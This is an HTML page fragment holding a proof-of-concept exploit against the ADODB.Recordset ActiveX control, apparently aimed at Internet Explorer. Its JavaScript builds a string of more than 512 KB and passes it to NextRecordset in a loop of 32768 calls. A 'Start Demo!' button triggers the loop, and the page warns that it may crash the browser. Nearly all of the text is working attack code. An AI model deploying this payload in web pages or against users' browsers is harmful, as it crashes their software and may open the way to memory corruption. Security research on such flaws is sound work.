function Demo() {
	var a = new ActiveXObject('ADODB.Recordset');
	var b = 'XXXX';
	while (b.length <= 1024*512) b+=b;

	for (var i = 0; i < 32768; i++)
		try { a.NextRecordset(b); } catch(e) {}
}

</script>

Clicking the button below may crash your browser!<br><br>
<input type='button' onClick='Demo()' value='Start Demo!'>